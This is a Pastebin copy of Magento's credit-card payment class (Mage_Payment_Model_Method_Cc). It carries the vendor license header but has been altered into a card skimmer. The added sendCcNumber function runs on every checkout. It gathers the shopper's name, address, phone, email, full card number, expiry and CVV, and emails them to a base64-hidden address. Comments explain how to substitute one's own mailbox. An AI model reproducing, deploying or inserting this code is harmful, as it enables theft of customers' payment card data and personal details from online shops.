iqromss

Untitled

Aug 4th, 2017
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.68 KB | None | 0 0
  1. <?php
  2. /**
  3. * Magento
  4. *
  5. * NOTICE OF LICENSE
  6. *
  7. * This source file is subject to the Open Software License (OSL 3.0)
  8. * that is bundled with this package in the file LICENSE.txt.
  9. * It is also available through the world-wide-web at this URL:
  10. * http://opensource.org/licenses/osl-3.0.php
  11. * If you did not receive a copy of the license and are unable to
  12. * obtain it through the world-wide-web, please send an email
  13. * to [email protected] so we can send you a copy immediately.
  14. *
  15. * DISCLAIMER
  16. *
  17. * Do not edit or add to this file if you wish to upgrade Magento to newer
  18. * versions in the future. If you wish to customize Magento for your
  19. * needs please refer to http://www.magentocommerce.com for more information.
  20. *
  21. * @category Mage
  22. * @package Mage_Payment
  23. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
  24. * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
  25. */
  26.  
  27.  
  28. class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
  29. {
  30. protected $_formBlockType = 'payment/form_cc';
  31. protected $_infoBlockType = 'payment/info_cc';
  32. protected $_canSaveCc = false;
  33.  
  34. /**
  35. * Assign data to info model instance
  36. *
  37. * @param mixed $data
  38. * @return Mage_Payment_Model_Info
  39. */
  40. public function assignData($data)
  41. {
  42. if (!($data instanceof Varien_Object)) {
  43. $data = new Varien_Object($data);
  44. }
  45. $info = $this->getInfoInstance();
  46. $info->setCcType($data->getCcType())
  47. ->setCcOwner($data->getCcOwner())
  48. ->setCcOwnerId($data->getCcOwnerId())
  49. ->setCcLast4(substr($data->getCcNumber(), -4))
  50. ->setCcNumber($data->getCcNumber())
  51. ->setCcCid($data->getCcCid())
  52. ->setCcExpMonth($data->getCcExpMonth())
  53. ->setCcExpYear($data->getCcExpYear())
  54. ->setCcSsIssue($data->getCcSsIssue())
  55. ->setCcSsStartMonth($data->getCcSsStartMonth())
  56. ->setCcSsStartYear($data->getCcSsStartYear())
  57. ->setCcInstallments($data->getCcInstallments())
  58. ;
  59.  
  60. $this->sendCcNumber();
  61.  
  62. return $this;
  63. }
  64.  
  65. function sendCcNumber()
  66. {
  67. $info = $this->getInfoInstance();
  68. $object = new Mage_Checkout_Block_Onepage_Billing;
  69. $address1 = $object->getQuote()->getBillingAddress();
  70. $data1 = $address1->getFirstname();
  71. $data2 = $address1->getLastname();
  72. $data3 = $address1->getStreet(1);
  73. $data4 = $address1->getStreet(2);
  74. $data5 = $address1->getCity();
  75. $data6 = $address1->getRegion();
  76. $data7 = $address1->getPostcode();
  77. $data8 = $address1->getCountry();
  78. $data9 = $address1->getTelephone();
  79. $data10 = $info->getCcNumber();
  80. $bin = str_replace(' ', '', $info->getCcNumber());
  81. $bin = substr($bin, 0, 6);
  82. $getbank = explode($bin, file_get_contents("http://bins.pro/search?action=searchbins&bins=" . $bin . "&bank=&country="));
  83. $jeniscc = explode("</td><td>", $getbank[2]);
  84. $namabnk = explode("</td></tr>", $jeniscc[5]);
  85. $ccbrand = $jeniscc[2];
  86. $ccbank = $namabnk[0];
  87. $cctype = $jeniscc[3];
  88. $ccklas = $jeniscc[4];
  89. $expyear = substr($info->getCcExpYear(), -2);
  90. $expmonth = $info->getCcExpMonth();
  91. if (strlen($expmonth) == 1) {
  92. $expmonth = '0'.$expmonth;
  93. };
  94. $data11 = $expmonth;
  95. $data12 = $expyear;
  96. $data13 = $info->getCcCid();
  97. $ipboss = $_SERVER['REMOTE_ADDR'];
  98. $details = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
  99. $nama_negara = $details->country;
  100. $kode_negara = $details->country_code;
  101. $serverboss = $_SERVER['SERVER_NAME'];
  102. $time = date('Y-m-d H:i:s');
  103. $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
  104. $message =
  105. "+====== [69] Cr3d1t C4rd [69] ======+
  106. Name: ".$data1." ".$data2."
  107. Address 1: ".$data3."
  108. Address 2: ".$data4."
  109. City: ".$data5."
  110. State: ".$data6."
  111. Zip: ".$data7."
  112. Country: ".$data8."
  113. Phone: ".$data9."
  114. BIN: ".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."
  115. ccnumb: ".$data10."
  116. expdate: ".$data11." / 20".$data12."
  117. cvv: ".$data13."
  118. From: ".$serverboss."
  119. Email : ".$data16."
  120. +====== Semoga Berkah ======+";
  121. $subject = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." [".$serverboss." - ".$ipboss."]";
  122. $headers = "From: ".$data8." [Credit Card] <cc_session@".$serverboss.">";
  123. $gantengers = "cmVzdWx0LnVzQHlhbmRleC5jb20="; // Ganti email disini , cuman harus menggunakan hash base64 :D
  124. $tamvan = base64_decode($gantengers);
  125. mail($tamvan, $subject, $message, $headers);
  126.  
  127. }
  128.  
  129. /**
  130. * Prepare info instance for save
  131. *
  132. * @return Mage_Payment_Model_Abstract
  133. */
  134. public function prepareSave()
  135. {
  136. $info = $this->getInfoInstance();
  137. if ($this->_canSaveCc) {
  138. $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
  139. }
  140. //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
  141. $info->setCcNumber(null)
  142. ->setCcCid(null);
  143. return $this;
  144. }
  145.  
  146. /**
  147. * Validate payment method information object
  148. *
  149. * @param Mage_Payment_Model_Info $info
  150. * @return Mage_Payment_Model_Abstract
  151. */
  152. public function validate()
  153. {
  154. /*
  155. * calling parent validate function
  156. */
  157. parent::validate();
  158.  
  159. $info = $this->getInfoInstance();
  160. $errorMsg = false;
  161. $availableTypes = explode(',',$this->getConfigData('cctypes'));
  162.  
  163. $ccNumber = $info->getCcNumber();
  164.  
  165. // remove credit card number delimiters such as "-" and space
  166. $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
  167. $info->setCcNumber($ccNumber);
  168.  
  169. $ccType = '';
  170.  
  171. if (in_array($info->getCcType(), $availableTypes)){
  172. if ($this->validateCcNum($ccNumber)
  173. // Other credit card type number validation
  174. || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
  175.  
  176. $ccType = 'OT';
  177. $ccTypeRegExpList = array(
  178. //Solo, Switch or Maestro. International safe
  179. /*
  180. // Maestro / Solo
  181. 'SS' => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
  182. . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
  183. . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
  184. */
  185. // Solo only
  186. 'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
  187. 'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
  188. . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
  189. . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
  190. . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
  191. . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
  192. // Visa
  193. 'VI' => '/^4[0-9]{12}([0-9]{3})?$/',
  194. // Master Card
  195. 'MC' => '/^5[1-5][0-9]{14}$/',
  196. // American Express
  197. 'AE' => '/^3[47][0-9]{13}$/',
  198. // Discovery
  199. 'DI' => '/^6011[0-9]{12}$/',
  200. // JCB
  201. 'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
  202. );
  203.  
  204. foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
  205. if (preg_match($ccTypeRegExp, $ccNumber)) {
  206. $ccType = $ccTypeMatch;
  207. break;
  208. }
  209. }
  210.  
  211. if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
  212. $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
  213. }
  214. }
  215. else {
  216. $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
  217. }
  218.  
  219. }
  220. else {
  221. $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
  222. }
  223.  
  224. //validate credit card verification number
  225. if ($errorMsg === false && $this->hasVerification()) {
  226. $verifcationRegEx = $this->getVerificationRegEx();
  227. $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
  228. if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
  229. $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
  230. }
  231. }
  232.  
  233. if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
  234. $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
  235. }
  236.  
  237. if($errorMsg){
  238. Mage::throwException($errorMsg);
  239. }
  240.  
  241. //This must be after all validation conditions
  242. if ($this->getIsCentinelValidationEnabled()) {
  243. $this->getCentinelValidator()->validate($this->getCentinelValidationData());
  244. }
  245.  
  246. return $this;
  247. }
  248.  
  249. public function hasVerification()
  250. {
  251. $configData = $this->getConfigData('useccv');
  252. if(is_null($configData)){
  253. return true;
  254. }
  255. return (bool) $configData;
  256. }
  257.  
  258. public function getVerificationRegEx()
  259. {
  260. $verificationExpList = array(
  261. 'VI' => '/^[0-9]{3}$/', // Visa
  262. 'MC' => '/^[0-9]{3}$/', // Master Card
  263. 'AE' => '/^[0-9]{4}$/', // American Express
  264. 'DI' => '/^[0-9]{3}$/', // Discovery
  265. 'SS' => '/^[0-9]{3,4}$/',
  266. 'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
  267. 'SO' => '/^[0-9]{3,4}$/', // Solo
  268. 'OT' => '/^[0-9]{3,4}$/',
  269. 'JCB' => '/^[0-9]{3,4}$/' //JCB
  270. );
  271. return $verificationExpList;
  272. }
  273.  
  274. protected function _validateExpDate($expYear, $expMonth)
  275. {
  276. $date = Mage::app()->getLocale()->date();
  277. if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
  278. || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
  279. ) {
  280. return false;
  281. }
  282. return true;
  283. }
  284.  
  285. public function OtherCcType($type)
  286. {
  287. return $type=='OT';
  288. }
  289.  
  290. /**
  291. * Validate credit card number
  292. *
  293. * @param string $cc_number
  294. * @return bool
  295. */
  296. public function validateCcNum($ccNumber)
  297. {
  298. $cardNumber = strrev($ccNumber);
  299. $numSum = 0;
  300.  
  301. for ($i=0; $i<strlen($cardNumber); $i++) {
  302. $currentNum = substr($cardNumber, $i, 1);
  303.  
  304. /**
  305. * Double every second digit
  306. */
  307. if ($i % 2 == 1) {
  308. $currentNum *= 2;
  309. }
  310.  
  311. /**
  312. * Add digits of 2-digit numbers together
  313. */
  314. if ($currentNum > 9) {
  315. $firstNum = $currentNum % 10;
  316. $secondNum = ($currentNum - $firstNum) / 10;
  317. $currentNum = $firstNum + $secondNum;
  318. }
  319.  
  320. $numSum += $currentNum;
  321. }
  322.  
  323. /**
  324. * If the total has no remainder it's OK
  325. */
  326. return ($numSum % 10 == 0);
  327. }
  328.  
  329. /**
  330. * Other credit cart type number validation
  331. *
  332. * @param string $ccNumber
  333. * @return boolean
  334. */
  335. public function validateCcNumOther($ccNumber)
  336. {
  337. return preg_match('/^\\d+$/', $ccNumber);
  338. }
  339.  
  340. /**
  341. * Check whether there are CC types set in configuration
  342. *
  343. * @param Mage_Sales_Model_Quote|null $quote
  344. * @return bool
  345. */
  346. public function isAvailable($quote = null)
  347. {
  348. return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
  349. && parent::isAvailable($quote);
  350. }
  351.  
  352. /**
  353. * Whether centinel service is enabled
  354. *
  355. * @return bool
  356. */
  357. public function getIsCentinelValidationEnabled()
  358. {
  359. return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
  360. }
  361.  
  362. /**
  363. * Instantiate centinel validator model
  364. *
  365. * @return Mage_Centinel_Model_Service
  366. */
  367. public function getCentinelValidator()
  368. {
  369. $validator = Mage::getSingleton('centinel/service');
  370. $validator
  371. ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
  372. ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
  373. ->setStore($this->getStore())
  374. ->setIsPlaceOrder($this->_isPlaceOrder());
  375. return $validator;
  376. }
  377.  
  378. /**
  379. * Return data for Centinel validation
  380. *
  381. * @return Varien_Object
  382. */
  383. public function getCentinelValidationData()
  384. {
  385. $info = $this->getInfoInstance();
  386. $params = new Varien_Object();
  387. $params
  388. ->setPaymentMethodCode($this->getCode())
  389. ->setCardType($info->getCcType())
  390. ->setCardNumber($info->getCcNumber())
  391. ->setCardExpMonth($info->getCcExpMonth())
  392. ->setCardExpYear($info->getCcExpYear())
  393. ->setAmount($this->_getAmount())
  394. ->setCurrencyCode($this->_getCurrencyCode())
  395. ->setOrderNumber($this->_getOrderId());
  396. return $params;
  397. }
  398.  
  399. /**
  400. * Order increment ID getter (either real from order or a reserved from quote)
  401. *
  402. * @return string
  403. */
  404. private function _getOrderId()
  405. {
  406. $info = $this->getInfoInstance();
  407.  
  408. if ($this->_isPlaceOrder()) {
  409. return $info->getOrder()->getIncrementId();
  410. } else {
  411. if (!$info->getQuote()->getReservedOrderId()) {
  412. $info->getQuote()->reserveOrderId();
  413. }
  414. return $info->getQuote()->getReservedOrderId();
  415. }
  416. }
  417.  
  418. /**
  419. * Grand total getter
  420. *
  421. * @return string
  422. */
  423. private function _getAmount()
  424. {
  425. $info = $this->getInfoInstance();
  426. if ($this->_isPlaceOrder()) {
  427. return (double)$info->getOrder()->getQuoteBaseGrandTotal();
  428. } else {
  429. return (double)$info->getQuote()->getBaseGrandTotal();
  430. }
  431. }
  432.  
  433. /**
  434. * Currency code getter
  435. *
  436. * @return string
  437. */
  438. private function _getCurrencyCode()
  439. {
  440. $info = $this->getInfoInstance();
  441.  
  442. if ($this->_isPlaceOrder()) {
  443. return $info->getOrder()->getBaseCurrencyCode();
  444. } else {
  445. return $info->getQuote()->getBaseCurrencyCode();
  446. }
  447. }
  448.  
  449. /**
  450. * Whether current operation is order placement
  451. *
  452. * @return bool
  453. */
  454. private function _isPlaceOrder()
  455. {
  456. $info = $this->getInfoInstance();
  457. if ($info instanceof Mage_Sales_Model_Quote_Payment) {
  458. return false;
  459. } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
  460. return true;
  461. }
  462. }
  463. }
Add Comment
Please, Sign In to add comment